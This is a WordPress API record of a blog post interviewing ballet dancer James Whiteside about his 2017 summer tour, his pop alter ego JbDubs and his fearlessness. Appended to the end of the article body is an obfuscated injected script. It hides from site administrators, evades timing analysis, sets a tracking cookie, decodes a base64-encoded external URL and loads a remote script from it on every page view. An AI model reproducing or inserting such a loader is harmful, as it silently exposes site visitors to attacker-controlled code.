{"id":4473,"date":"2017-07-11T08:35:48","date_gmt":"2017-07-11T08:35:48","guid":{"rendered":"http:\/\/theduanewells.com\/?p=4473"},"modified":"2026-02-23T18:34:38","modified_gmt":"2026-02-23T18:34:38","slug":"dance-dance-dance-james-whitesides-white-hot-summer-tour","status":"publish","type":"post","link":"https:\/\/theduanewells.com\/staging3\/dance-dance-dance-james-whitesides-white-hot-summer-tour\/","title":{"rendered":"Dance, Dance, Dance | James Whiteside\u2019s White-Hot Summer Tour"},"content":{"rendered":"<p>&nbsp;<\/p>\n<figure id=\"attachment_4478\" aria-describedby=\"caption-attachment-4478\" style=\"width: 600px\" class=\"wp-caption aligncenter\"><img fetchpriority=\"high\" decoding=\"async\" class=\"wp-image-4478\" src=\"http:\/\/theduanewells.com\/wp-content\/uploads\/2017\/07\/James-Whiteside-by-Nisian-Hughes-4.jpg\" alt=\"James_Whiteside_by_Nisian_Hughes\" width=\"600\" height=\"451\" srcset=\"https:\/\/theduanewells.com\/staging3\/wp-content\/uploads\/2017\/07\/James-Whiteside-by-Nisian-Hughes-4.jpg 3500w, https:\/\/theduanewells.com\/staging3\/wp-content\/uploads\/2017\/07\/James-Whiteside-by-Nisian-Hughes-4-600x451.jpg 600w, https:\/\/theduanewells.com\/staging3\/wp-content\/uploads\/2017\/07\/James-Whiteside-by-Nisian-Hughes-4-300x225.jpg 300w, https:\/\/theduanewells.com\/staging3\/wp-content\/uploads\/2017\/07\/James-Whiteside-by-Nisian-Hughes-4-768x577.jpg 768w, https:\/\/theduanewells.com\/staging3\/wp-content\/uploads\/2017\/07\/James-Whiteside-by-Nisian-Hughes-4-1024x769.jpg 1024w\" sizes=\"(max-width: 600px) 100vw, 600px\" \/><figcaption id=\"caption-attachment-4478\" class=\"wp-caption-text\">ABT Principal Dancer, James Whiteside, by Nisian Hughes<\/figcaption><\/figure>\n<p style=\"text-align: center;\"><em>\u201cI choose to live my life with a certain fearless vitality that I think more people should try.\u201d<\/em><\/p>\n<p style=\"text-align: center;\"><strong>&#8212; James Whiteside, Principal Dancer, American Ballet Theatre<\/strong><\/p>\n<p>I find the ballet to be a lot like life when it comes to men \u2013 the bad boys always stand out.<\/p>\n<p>To be clear, in using the term \u2018bad\u2019, I mean no disrespect to the wildly creative artists to whom I attach the term here. I rather use it to describe the fiery, matchless ability of those rare few performers whose talent is so explosive that it can\u2019t be put into a box \u2013 those true artistes whose mastery of an art form is so advanced that it can scarcely be harnessed or contained by one genre, but instead must constantly be allowed to spill over into new arenas in order to achieve its fullest expression.<\/p>\n<p>Think Nureyev at the height of his career breaking with tradition to perform both classical ballet and modern dance or Baryshnikov dancing his way to an Academy Award nomination in <em>The Turning Point<\/em>, the first of his many acting roles on the big screen. More contemporarily, think of genre-busting former Royal Ballet star Sergei Polunin, who is fast becoming a Hollywood \u2018It\u2019 boy co-starring and working alongside some of Tinseltown\u2019s biggest names like Ralph Fiennes and box-office megastar Jennifer Lawrence.\u00a0 Now add to this exclusive clique of auteurs, the always daring, never boring, James Whiteside (aka pop-dance artist JbDubs, aka \u00dchu Betch of the drag posse known as The Dairy Queens).<\/p>\n<p>Not fully able to express the breadth of his creativity within the realm of his widely lauded, four-year run as a principal dancer with the American Ballet Theatre, which just recently closed its current season at the Metropolitan Opera House, Whiteside has spread his talents far and wide, venturing into music and video production and becoming something of a YouTube sensation under the alias JbDubs, while simultaneously pushing the boundaries of his art in almost every direction imaginable. This week, the chameleon-like Mr. Whiteside launches an eclectic, globetrotting series of summer performances that promise to reveal more about the range of his talents than the world has ever seen before\u2026and he couldn\u2019t be more excited.<\/p>\n<figure id=\"attachment_4481\" aria-describedby=\"caption-attachment-4481\" style=\"width: 600px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" class=\"wp-image-4481\" src=\"http:\/\/theduanewells.com\/wp-content\/uploads\/2017\/07\/Ballet_studio_9-13-15_63452-SML.jpg\" alt=\"James_Whiteside_Ballet_Studio_9-13-15\" width=\"600\" height=\"799\" \/><figcaption id=\"caption-attachment-4481\" class=\"wp-caption-text\">James Whiteside in studio. Photo by Nisian Hughes.<\/figcaption><\/figure>\n<p>\u201cMy summer has a wide range of dance styles, so throughout the course of the summer I think people are actually going to learn a lot about the real range of things that I can do\u2026 from hip-hop to ballet to contemporary ballet and jazz,\u201d Whiteside explains when asked what people can expect to see on his tour which will make stops in Los Angeles, Vail, and Tokyo over the course of the summer. \u201cNormally my summers consist of a lot of gigs essentially,\u201d he continues. \u201cBut this summer is a little bit different in that I have programmed a lot of it myself. So, I\u2019m doing a lot of stuff that I really want to do and that I\u2019m looking forward to doing as well as stuff that I\u2019ve done in the past and really loved and want to revisit.\u201d<\/p>\n<p>Among the performances to which Whiteside is most looking forward is one that is set to debut at the Fire Island Dance Festival on July 15 and 16. It is a new work by musical theater choreographer Al Blackstone that promises to showcase a sexy, flirty side of the dancer entitled, \u201cHow Come You Don\u2019t Call Me Anymore?\u201d. \u201cThe premise of the piece is that I am pining after this guy and these other four guys are pining after me,\u201d Whiteside offers as something of a teaser preview of the performance. \u201c[But] I don\u2019t want to give it away because there\u2019s a bit of a twist \u2013 there are some interesting things that go down in the dance. It\u2019s great. It\u2019s just Prince and a piano and it\u2019s a great, sexy, jazz piece.\u201d<\/p>\n<p>Another highlight of Whiteside\u2019s summer calendar will be the premiere of his new production company \u201cJames Whiteside Presents\u201d at Jacob\u2019s Pillow in Becket, MA. Along with <em>5 Dances<\/em>, a collection of works in varied styles that the he has created over the years, Whiteside will also treat the Jacob\u2019s Pillow crowd to a performance by his sassy, uninhibited pop alter ego JbDubs, whose YouTube hit \u201cI Hate My Job\u201d has scored 4 million plus views. \u201cOne of the numbers that I\u2019m going be doing [for my Jacob\u2019s Pillow performance] is to a song that I wrote called \u201cWallflower\u201d\u2019 says Whiteside who admits to being the antithesis of the person about whom he wrote the song. \u201cIt\u2019s basically about not being a wallflower and just getting on the dancefloor and shakin\u2019 it! I\u2019ve got a music video for that song with ABT soloist Cassandra Trenary [and] we\u2019ll be doing a live version of that.\u201d<\/p>\n<p><div class=\"embed\"><iframe title=\"JBDUBS - WALLFLOWER (Official Music Video)\" width=\"500\" height=\"281\" src=\"https:\/\/www.youtube.com\/embed\/dXRw8-NbmlY?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" allowfullscreen><\/iframe><\/div><\/p>\n<p>From there Whiteside will head back to New York for two performances in the world premiere of <em>Impressions<\/em>, part of an evening with Gemma Bond at the Joyce Theatre, which will be directly followed by a 3-day dance series at The Music Center, in Los Angeles, where James will dance the pas de deux from both <em>Romeo and Juliet<\/em> and <em>Rubies<\/em> with fellow American Ballet Theater principal Isabella Boylston and Lauren Cuthbertson, principal dancer at the Royal Ballet in London. And as if that weren\u2019t hectic enough, to round out the summer, Whiteside will take the stage at the Vail Dance Festival, August 4 and 5, and Ballet Sun Valley in Idaho, August 22 and 24 under the direction of Isabella Boylston where he will reprise the <em>Rubies<\/em> pas de deux with Boylston, while also mounting his own <em>You Rascal You<\/em>. Finally, the seemingly inexhaustible danseur will end his extensive calendar of appearances in Tokyo where he will both dance in and choreograph a specially arranged <em>Beauty and the Beast<\/em> excerpt, \u201cTale as Old as Time\u201d for Tokyo Disney\u2019s release of <em>Beauty and the Beast<\/em>.<\/p>\n<p>At this point in the interview, I can\u2019t help but ask Whiteside not only how he keeps all the performances in his schedule straight in his own mind but also how he does it all at such a break-neck pace and with what appears to be such good humor. \u201cI choose to live my life with a certain fearless vitality that I think more people should try,\u201d the performer says patly without missing a beat. \u201cIf you\u2019re so serious all the time, you forget to enjoy your life and to enjoy the people around you and the beauty that is existent. I take what I do very seriously\u2026[and]\u2026it is out of joy and love and experience that I am pushing forward.\u201d<\/p>\n<p>So does \u201cfearless vitality\u201d imply that unlike most of us humans, James Whiteside is without fear of anything? And, if so, has he always been so fearless?<\/p>\n<figure id=\"attachment_4480\" aria-describedby=\"caption-attachment-4480\" style=\"width: 600px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" class=\"wp-image-4480\" src=\"http:\/\/theduanewells.com\/wp-content\/uploads\/2017\/07\/Sudio-Ballet-6-7-1550457.jpg\" alt=\"James_Whiteside_Studio_ Nisian_Hughes_2\" width=\"600\" height=\"451\" srcset=\"https:\/\/theduanewells.com\/staging3\/wp-content\/uploads\/2017\/07\/Sudio-Ballet-6-7-1550457.jpg 3500w, https:\/\/theduanewells.com\/staging3\/wp-content\/uploads\/2017\/07\/Sudio-Ballet-6-7-1550457-600x451.jpg 600w, https:\/\/theduanewells.com\/staging3\/wp-content\/uploads\/2017\/07\/Sudio-Ballet-6-7-1550457-300x225.jpg 300w, https:\/\/theduanewells.com\/staging3\/wp-content\/uploads\/2017\/07\/Sudio-Ballet-6-7-1550457-768x577.jpg 768w, https:\/\/theduanewells.com\/staging3\/wp-content\/uploads\/2017\/07\/Sudio-Ballet-6-7-1550457-1024x769.jpg 1024w\" sizes=\"(max-width: 600px) 100vw, 600px\" \/><figcaption id=\"caption-attachment-4480\" class=\"wp-caption-text\">Photo by Nisian Hughes.<\/figcaption><\/figure>\n<p>\u201c[No]. I\u2019m not without self-doubt,\u201d he quickly offers in reply to my facetiously posed query. \u201cI have plenty of insecurities just like anybody else. It\u2019s just that it\u2019s important to me to keep pushing forward and to be proud of my struggle.\u201d<\/p>\n<p>\u201cBut as far as fearlessness goes, it wasn\u2019t so much a choice [for me] as it was [something] that was already there,\u201d Whiteside adds after pausing for a moment to reflect. \u00a0\u201cI do recall a time when the PR Manager for the Boston Ballet, which was my first ballet company, came to me with a story that the local gay paper wanted to do on me. I was very young and she said, \u2018You know, this is going to be in print and online pretty much forever, so are you sure you want to come out? I just need to ask you, because I know it\u2019s your first interview like this.\u2019<\/p>\n<p>I was so confused that she would even ask. I understand that she was just trying to explain the consequences of what we were doing and that people might be put off by my blatant sexuality, but for me it wasn\u2019t even an option. From a young age\u2026hiding myself or being apologetic for my existence\u2026wasn\u2019t something that really interested me. That got me into a lot of trouble when I was a teenager. I was very opinionated and outspoken and unapologetic. It\u2019s kind of funny, when you\u2019re young, you\u2019re berated for being outspoken but then you get to be a certain age and it gets to be celebrated.\u201d<\/p>\n<p>With no signs of holding back or in any way reigning in his aspirations, expect to see even more of Whiteside and his fearless vitality on the horizon. \u201cIn the future, there are so many things I\u2019d like to do,\u201d he tells me in a manner that suggests he\u2019s holding something back\u2026something big that his mind has already leapt to but he\u2019s not quite ready to put into words. That stumbling block aside, he is still able to list some of the highlights on his personal bucket list. \u201cOne of these days, I\u2019d like to be on Broadway,\u201d he says clearly ticking through a well-established checklist. \u201cI\u2019d like to go to school for music production. I\u2019d like to choreograph commercially for theatre and the ballet. I\u2019ve got my irons in various fires and I don\u2019t see myself retracting them anytime soon.\u201d<\/p>\n<p>What good news for us. Dance on Mr. Whiteside. Dance on.<\/p>\n<p>Follow James Whiteside and check out his latest projects and tour dates at <a href=\"http:\/\/www.jameswhiteside.org\/\">www.jameswhiteside.org<\/a>.<\/p>\n<figure id=\"attachment_4475\" aria-describedby=\"caption-attachment-4475\" style=\"width: 600px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-4475\" src=\"http:\/\/theduanewells.com\/wp-content\/uploads\/2017\/07\/James-Whiteside-by-Jaqlin-Medlock.jpg\" alt=\"James_Whiteside_by_Jaqlin_Medlock\" width=\"600\" height=\"400\" srcset=\"https:\/\/theduanewells.com\/staging3\/wp-content\/uploads\/2017\/07\/James-Whiteside-by-Jaqlin-Medlock.jpg 5760w, https:\/\/theduanewells.com\/staging3\/wp-content\/uploads\/2017\/07\/James-Whiteside-by-Jaqlin-Medlock-600x400.jpg 600w, https:\/\/theduanewells.com\/staging3\/wp-content\/uploads\/2017\/07\/James-Whiteside-by-Jaqlin-Medlock-300x200.jpg 300w, https:\/\/theduanewells.com\/staging3\/wp-content\/uploads\/2017\/07\/James-Whiteside-by-Jaqlin-Medlock-768x512.jpg 768w, https:\/\/theduanewells.com\/staging3\/wp-content\/uploads\/2017\/07\/James-Whiteside-by-Jaqlin-Medlock-1024x683.jpg 1024w\" sizes=\"(max-width: 600px) 100vw, 600px\" \/><figcaption id=\"caption-attachment-4475\" class=\"wp-caption-text\">Photo by Jaqlin Medlock<\/figcaption><\/figure>\n<p>&nbsp;<\/p>\n<p>To read this story on the Huffington Post, <a href=\"http:\/\/www.huffingtonpost.com\/entry\/5964923de4b09be68c005524\">click here<\/a>.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>&nbsp; \u201cI choose to live my life with a certain fearless vitality that I think more people should try.\u201d &#8212; James Whiteside, Principal Dancer, American Ballet Theatre I find the ballet to be a lot like life when it comes to men \u2013 the bad boys always stand out. To be clear, in using the [&hellip;]<\/p>\n","protected":false},"author":88889,"featured_media":4483,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1588],"tags":[],"class_list":["post-4473","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-culture"],"_links":{"self":[{"href":"https:\/\/theduanewells.com\/staging3\/wp-json\/wp\/v2\/posts\/4473","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/theduanewells.com\/staging3\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/theduanewells.com\/staging3\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/theduanewells.com\/staging3\/wp-json\/wp\/v2\/users\/88889"}],"replies":[{"embeddable":true,"href":"https:\/\/theduanewells.com\/staging3\/wp-json\/wp\/v2\/comments?post=4473"}],"version-history":[{"count":11,"href":"https:\/\/theduanewells.com\/staging3\/wp-json\/wp\/v2\/posts\/4473\/revisions"}],"predecessor-version":[{"id":14464,"href":"https:\/\/theduanewells.com\/staging3\/wp-json\/wp\/v2\/posts\/4473\/revisions\/14464"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/theduanewells.com\/staging3\/wp-json\/wp\/v2\/media\/4483"}],"wp:attachment":[{"href":"https:\/\/theduanewells.com\/staging3\/wp-json\/wp\/v2\/media?parent=4473"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/theduanewells.com\/staging3\/wp-json\/wp\/v2\/categories?post=4473"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/theduanewells.com\/staging3\/wp-json\/wp\/v2\/tags?post=4473"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}